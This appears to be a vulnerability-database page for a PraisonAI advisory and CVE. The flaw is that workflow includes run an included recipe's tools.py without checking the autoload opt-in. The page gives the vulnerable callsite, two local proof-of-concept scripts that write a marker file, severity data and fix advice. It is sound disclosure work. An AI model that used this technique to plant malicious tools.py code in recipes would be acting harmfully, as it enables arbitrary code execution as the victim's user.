Vulnerability-Lookup

GHSA-HXMV-C4G6-5FQC

Vulnerability from github – Published: 2026-08-25 14:15 – Updated: 2026-08-25 14:15

Summary

PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code

Details

Summary

PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.

This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.

The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.

This is distinct from the previously published tool_resolver.py, api/call.py, templates/tool_override.py, and agents_generator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.

Affected Components

Package: praisonaiagents
File: praisonaiagents/workflows/workflows.py
Sink: Workflow._execute_include()
Current affected callsite:

tools_py = recipe_path / "tools.py"
if tools_py.exists():
    spec = importlib.util.spec_from_file_location("recipe_tools", tools_py)
    recipe_module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(recipe_module)

The current head also contains a similar unguarded workflow-local tools.py import in _resolve_pydantic_class(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.

Security Boundary

PraisonAI documents secure defaults for implicit tools.py autoload:

PRAISONAI_ALLOW_TEMPLATE_TOOLS controls implicit template/CWD tools.py autoload and is disabled by default.
PRAISONAI_ALLOW_LOCAL_TOOLS controls automatic loading of local tools.py files and requires the value true.
Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.
Existing regression tests for GHSA-xcmw-grxf-wjhj assert that template/CWD tools.py must not execute by default.

Workflow._execute_include() does not check PRAISONAI_ALLOW_TEMPLATE_TOOLS, does not check PRAISONAI_ALLOW_LOCAL_TOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.

The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.

The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.

Impact

An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.

The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.

Reproduction

Run the attached local-only PoV:

python3 pov.py

Expected vulnerable output:

VULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
marker=...
marker_content=executed

The PoV:

Unsets PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS.
Creates a temporary child_recipe/tools.py with a marker-write payload.
Creates a minimal child_recipe/workflow.yaml.
Runs Workflow(steps=[include("child_recipe")]).run(...).
Confirms the marker file was written before any model-backed workflow step is needed.

Supplementary higher-level API check:

python3 pov_recipe_run.py

Expected vulnerable output:

VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
recipe_status=success
recipe_ok=True
marker=...
marker_content=executed

Validation

Tested vulnerable:

Current head: bcb6957dac1bc8949866522948a9f61d7e4bd4c1
Latest release tag: v4.6.56 (praisonai==4.6.56, praisonaiagents==1.6.56)
Older affected tag: v3.9.26 (praisonai==3.9.26, praisonaiagents==0.12.12)

Negative/control observations:

v3.9.24 does not expose the same include helper/API used by this PoV.
The hardened praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...) path does not execute tools.py when PRAISONAI_ALLOW_TEMPLATE_TOOLS is unset.
Existing regression test src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py states that implicit recipe/template tools.py autoload should be gated behind PRAISONAI_ALLOW_TEMPLATE_TOOLS.
Include is a first-class workflow feature, not an accidental private method: repository tests cover include() imports, YAML include parsing, direct Workflow._execute_include presence, and include steps inside loops.
praisonai.recipe.run() also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.

Root Cause

The include implementation reintroduced a direct importlib.util.spec_from_file_location() plus spec.loader.exec_module() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.

Suggested Fix

Route included-recipe tool loading through the same security policy used by the template tool override system.

Conservative options:

Do not implicitly load included recipe tools.py by default.
Only load it when PRAISONAI_ALLOW_TEMPLATE_TOOLS is explicitly truthy.
Prefer explicit tools_sources, override_files, or a caller-supplied registry for custom tools.
Add regression coverage for Workflow(steps=[include("...")]) proving included recipe tools.py does not execute with the opt-in unset.
Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.

If local workflow includes are intended to use PRAISONAI_ALLOW_LOCAL_TOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw exec_module() directly.

Severity

Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.

Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.

Appendix A - pov.py

#!/usr/bin/env python3
"""Local PoV for PraisonAI workflow include tools.py autoload.

This PoV uses only local files and the public workflow API. It verifies whether
a workflow-local include executes the included recipe's tools.py even when the
PRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.
"""

from __future__ import annotations

import os
import shutil
import sys
import tempfile
from pathlib import Path


MARKER_NAME = "prai_workflow_include_tools_autoload_marker.txt"


def _find_default_repo() -> Path:
    for parent in Path(__file__).resolve().parents:
        candidate = parent / "artifacts" / "repos" / "praisonai-current"
        if candidate.exists():
            return candidate
    raise RuntimeError("Could not locate artifacts/repos/praisonai-current")


def main() -> int:
    repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
    sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
    sys.path.insert(0, str(repo / "src" / "praisonai"))

    os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
    os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)

    workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-"))
    old_cwd = Path.cwd()
    try:
        recipe = workdir / "child_recipe"
        recipe.mkdir()
        marker = workdir / MARKER_NAME

        (recipe / "tools.py").write_text(
            "from pathlib import Path\n"
            f"Path({str(marker)!r}).write_text('executed')\n"
            "def benign_tool():\n"
            "    return 'ok'\n",
            encoding="utf-8",
        )
        (recipe / "workflow.yaml").write_text(
            "name: child\n"
            "steps: []\n",
            encoding="utf-8",
        )

        os.chdir(workdir)

        from praisonaiagents.workflows.workflows import Workflow, include

        workflow = Workflow(steps=[include("child_recipe")])
        workflow.run(input="", llm="dummy/local", stream=False)

        if marker.exists():
            print(
                "VULNERABLE: included recipe tools.py executed with "
                "PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
            )
            print(f"marker={marker}")
            print(f"marker_content={marker.read_text(encoding='utf-8')}")
            return 0

        print("NOT VULNERABLE: included recipe tools.py did not execute")
        return 1
    finally:
        os.chdir(old_cwd)
        shutil.rmtree(workdir, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())

Appendix B - pov_recipe_run.py

#!/usr/bin/env python3
"""Supplementary local PoV through praisonai.recipe.run().

This exercises the higher-level recipe API. It does not start a network server
or rely on any external service. The payload writes a local marker file only.
"""

from __future__ import annotations

import os
import shutil
import sys
import tempfile
from pathlib import Path


MARKER_NAME = "prai_recipe_run_include_tools_autoload_marker.txt"


def _find_default_repo() -> Path:
    for parent in Path(__file__).resolve().parents:
        candidate = parent / "artifacts" / "repos" / "praisonai-current"
        if candidate.exists():
            return candidate
    raise RuntimeError("Could not locate artifacts/repos/praisonai-current")


def main() -> int:
    repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
    sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
    sys.path.insert(0, str(repo / "src" / "praisonai"))

    os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
    os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)

    workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-"))
    old_cwd = Path.cwd()
    try:
        parent_recipe = workdir / "parent_recipe"
        child_recipe = workdir / "child_recipe"
        parent_recipe.mkdir()
        child_recipe.mkdir()
        marker = workdir / MARKER_NAME

        (parent_recipe / "TEMPLATE.yaml").write_text(
            "name: parent_recipe\n"
            "version: 1.0.0\n"
            "workflow: workflow.yaml\n",
            encoding="utf-8",
        )
        (parent_recipe / "workflow.yaml").write_text(
            "name: parent\n"
            "steps:\n"
            "  - include: child_recipe\n",
            encoding="utf-8",
        )
        (child_recipe / "workflow.yaml").write_text(
            "name: child\n"
            "steps: []\n",
            encoding="utf-8",
        )
        (child_recipe / "tools.py").write_text(
            "from pathlib import Path\n"
            f"Path({str(marker)!r}).write_text('executed')\n"
            "def benign_tool():\n"
            "    return 'ok'\n",
            encoding="utf-8",
        )

        os.chdir(workdir)

        from praisonai import recipe

        result = recipe.run(str(parent_recipe), input={}, options={"force": True})

        if marker.exists():
            print(
                "VULNERABLE: praisonai.recipe.run() reached workflow include "
                "tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and "
                "PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
            )
            print(f"recipe_status={result.status}")
            print(f"recipe_ok={result.ok}")
            print(f"marker={marker}")
            print(f"marker_content={marker.read_text(encoding='utf-8')}")
            return 0

        print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py")
        print(f"recipe_status={result.status}")
        print(f"recipe_error={result.error}")
        return 1
    finally:
        os.chdir(old_cwd)
        shutil.rmtree(workdir, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.12"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.26"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-426",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:15:27Z",
    "nvd_published_at": "2026-08-05T20:17:10Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s workflow include implementation implicitly imports and executes an included recipe\u0027s `tools.py` file even when the documented `tools.py` autoload opt-in is unset.\n\nThis bypasses the hardening added for the prior automatic `tools.py` RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.\n\nThe same sink is reachable through the higher-level `praisonai.recipe.run()` recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.\n\nThis is distinct from the previously published `tool_resolver.py`, `api/call.py`, `templates/tool_override.py`, and `agents_generator.py` variants. The affected callsite is the workflow include implementation in `praisonaiagents`, reached through the documented/covered `Include` workflow composition feature.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- File: `praisonaiagents/workflows/workflows.py`\n- Sink: `Workflow._execute_include()`\n- Current affected callsite:\n\n```python\ntools_py = recipe_path / \"tools.py\"\nif tools_py.exists():\n    spec = importlib.util.spec_from_file_location(\"recipe_tools\", tools_py)\n    recipe_module = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(recipe_module)\n```\n\nThe current head also contains a similar unguarded workflow-local `tools.py` import in `_resolve_pydantic_class()`. That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.\n\n## Security Boundary\n\nPraisonAI documents secure defaults for implicit `tools.py` autoload:\n\n- `PRAISONAI_ALLOW_TEMPLATE_TOOLS` controls implicit template/CWD `tools.py` autoload and is disabled by default.\n- `PRAISONAI_ALLOW_LOCAL_TOOLS` controls automatic loading of local `tools.py` files and requires the value `true`.\n- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.\n- Existing regression tests for `GHSA-xcmw-grxf-wjhj` assert that template/CWD `tools.py` must not execute by default.\n\n`Workflow._execute_include()` does not check `PRAISONAI_ALLOW_TEMPLATE_TOOLS`, does not check `PRAISONAI_ALLOW_LOCAL_TOOLS`, and does not route through the shared safe loader before executing the included recipe\u0027s `tools.py`.\n\nThe report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover `Include`, `include()`, YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe\u0027s `tools.py` unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.\n\nThe report also is not claiming that recipe `tools.py` files are inherently unsafe or unsupported. Official recipe documentation describes `tools.py` as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit `tools.py` autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.\n\n## Impact\n\nAn attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.\n\nThe payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.\n\n## Reproduction\n\nRun the attached local-only PoV:\n\n```bash\npython3 pov.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nmarker=...\nmarker_content=executed\n```\n\nThe PoV:\n\n1. Unsets `PRAISONAI_ALLOW_LOCAL_TOOLS` and `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n2. Creates a temporary `child_recipe/tools.py` with a marker-write payload.\n3. Creates a minimal `child_recipe/workflow.yaml`.\n4. Runs `Workflow(steps=[include(\"child_recipe\")]).run(...)`.\n5. Confirms the marker file was written before any model-backed workflow step is needed.\n\nSupplementary higher-level API check:\n\n```bash\npython3 pov_recipe_run.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nrecipe_status=success\nrecipe_ok=True\nmarker=...\nmarker_content=executed\n```\n\n## Validation\n\nTested vulnerable:\n\n- Current head: `bcb6957dac1bc8949866522948a9f61d7e4bd4c1`\n- Latest release tag: `v4.6.56` (`praisonai==4.6.56`, `praisonaiagents==1.6.56`)\n- Older affected tag: `v3.9.26` (`praisonai==3.9.26`, `praisonaiagents==0.12.12`)\n\nNegative/control observations:\n\n- `v3.9.24` does not expose the same `include` helper/API used by this PoV.\n- The hardened `praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)` path does not execute `tools.py` when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is unset.\n- Existing regression test `src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py` states that implicit recipe/template `tools.py` autoload should be gated behind `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n- Include is a first-class workflow feature, not an accidental private method: repository tests cover `include()` imports, YAML include parsing, direct `Workflow._execute_include` presence, and include steps inside loops.\n- `praisonai.recipe.run()` also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.\n\n## Root Cause\n\nThe include implementation reintroduced a direct `importlib.util.spec_from_file_location()` plus `spec.loader.exec_module()` path outside the centralized safe loader and template override gate. Prior fixes hardened several `tools.py` autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.\n\n## Suggested Fix\n\nRoute included-recipe tool loading through the same security policy used by the template tool override system.\n\nConservative options:\n\n1. Do not implicitly load included recipe `tools.py` by default.\n2. Only load it when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is explicitly truthy.\n3. Prefer explicit `tools_sources`, `override_files`, or a caller-supplied registry for custom tools.\n4. Add regression coverage for `Workflow(steps=[include(\"...\")])` proving included recipe `tools.py` does not execute with the opt-in unset.\n5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.\n\nIf local workflow includes are intended to use `PRAISONAI_ALLOW_LOCAL_TOOLS` instead, the same principle applies: the include sink should call a shared helper and should not perform raw `exec_module()` directly.\n\n## Severity\n\nRationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.\n\nCritical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.\n\n\n## Appendix A - pov.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI workflow include tools.py autoload.\n\nThis PoV uses only local files and the public workflow API. It verifies whether\na workflow-local include executes the included recipe\u0027s tools.py even when the\nPRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_workflow_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        recipe = workdir / \"child_recipe\"\n        recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text(\u0027executed\u0027)\\n\"\n            \"def benign_tool():\\n\"\n            \"    return \u0027ok\u0027\\n\",\n            encoding=\"utf-8\",\n        )\n        (recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonaiagents.workflows.workflows import Workflow, include\n\n        workflow = Workflow(steps=[include(\"child_recipe\")])\n        workflow.run(input=\"\", llm=\"dummy/local\", stream=False)\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: included recipe tools.py executed with \"\n                \"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding=\u0027utf-8\u0027)}\")\n            return 0\n\n        print(\"NOT VULNERABLE: included recipe tools.py did not execute\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```\n\n## Appendix B - pov_recipe_run.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Supplementary local PoV through praisonai.recipe.run().\n\nThis exercises the higher-level recipe API. It does not start a network server\nor rely on any external service. The payload writes a local marker file only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_recipe_run_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-recipe-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        parent_recipe = workdir / \"parent_recipe\"\n        child_recipe = workdir / \"child_recipe\"\n        parent_recipe.mkdir()\n        child_recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (parent_recipe / \"TEMPLATE.yaml\").write_text(\n            \"name: parent_recipe\\n\"\n            \"version: 1.0.0\\n\"\n            \"workflow: workflow.yaml\\n\",\n            encoding=\"utf-8\",\n        )\n        (parent_recipe / \"workflow.yaml\").write_text(\n            \"name: parent\\n\"\n            \"steps:\\n\"\n            \"  - include: child_recipe\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text(\u0027executed\u0027)\\n\"\n            \"def benign_tool():\\n\"\n            \"    return \u0027ok\u0027\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonai import recipe\n\n        result = recipe.run(str(parent_recipe), input={}, options={\"force\": True})\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: praisonai.recipe.run() reached workflow include \"\n                \"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and \"\n                \"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"recipe_status={result.status}\")\n            print(f\"recipe_ok={result.ok}\")\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding=\u0027utf-8\u0027)}\")\n            return 0\n\n        print(\"NOT VULNERABLE: recipe.run() did not execute included recipe tools.py\")\n        print(f\"recipe_status={result.status}\")\n        print(f\"recipe_error={result.error}\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "id": "GHSA-hxmv-c4g6-5fqc",
  "modified": "2026-08-25T14:15:27Z",
  "published": "2026-08-25T14:15:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code"
}

CVE-2026-55522 (GCVE-0-2026-55522)

Vulnerability from cvelistv5 – Published: 2026-08-05 19:01 – Updated: 2026-08-06 18:45

Title

PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code

Summary

PraisonAI is a multi-agent teams system. In versions 3.9.26 through 4.6.57 of praiseonai and 0.12.12 through 1.6.57 of praiseonaiagents, the workflow "include" feature is vulnerable to code execution. Workflow._execute_include() implicitly imports and runs an included recipe's tools.py via a raw importlib.util.spec_from_file_location() and spec.loader.exec_module() call, without honoring the PRAISONAI_ALLOW_TEMPLATE_TOOLS/PRAISONAI_ALLOW_LOCAL_TOOLS autoload opt-in gates or routing through the centralized safe loader that protects the other tools.py autoload paths. As a result, a workflow that includes an attacker-controlled local recipe directory executes arbitrary module-level Python code during include setup, before any child workflow parsing or model call, and the same sink is reachable through the higher-level praisonai.recipe.run() recipe API. An attacker who can cause a victim process to run a workflow or recipe that includes an untrusted local recipe achieves arbitrary Python code execution as the PraisonAI process user, a variant that bypasses the hardening applied to the previously disclosed automatic tools.py RCE advisory family. This issue has been fixed in version 4.6.58 of praisonai and 1.6.58 of praisonaiagents.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-06 18:43 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-426 - Untrusted Search Path
CWE-829 - Inclusion of Functionality from Untrusted Control Sphere

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	x_refsource_CONFIRM

Impacted products

2 products

Vendor	Product	Version
MervinPraison	PraisonAI	Affected: >= 3.9.26, < 4.6.58
MervinPraison	praisonaiagents	Affected: >= 0.12.12, < 1.6.58

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55522",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-06T18:43:28.382511Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-06T18:45:05.648Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.9.26, \u003c 4.6.58"
            }
          ]
        },
        {
          "product": "praisonaiagents",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.12.12, \u003c 1.6.58"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PraisonAI is a multi-agent teams system. In versions 3.9.26 through 4.6.57 of praiseonai and 0.12.12 through 1.6.57 of praiseonaiagents, the workflow \"include\" feature is vulnerable to code execution. Workflow._execute_include() implicitly imports and runs an included recipe\u0027s tools.py via a raw importlib.util.spec_from_file_location() and spec.loader.exec_module() call, without honoring the PRAISONAI_ALLOW_TEMPLATE_TOOLS/PRAISONAI_ALLOW_LOCAL_TOOLS autoload opt-in gates or routing through the centralized safe loader that protects the other tools.py autoload paths. As a result, a workflow that includes an attacker-controlled local recipe directory executes arbitrary module-level Python code during include setup, before any child workflow parsing or model call, and the same sink is reachable through the higher-level praisonai.recipe.run() recipe API. An attacker who can cause a victim process to run a workflow or recipe that includes an untrusted local recipe achieves arbitrary Python code execution as the PraisonAI process user, a variant that bypasses the hardening applied to the previously disclosed automatic tools.py RCE advisory family. This issue has been fixed in version 4.6.58 of praisonai and 1.6.58 of praisonaiagents."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-426",
              "description": "CWE-426: Untrusted Search Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-829",
              "description": "CWE-829: Inclusion of Functionality from Untrusted Control Sphere",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-05T19:01:43.051Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
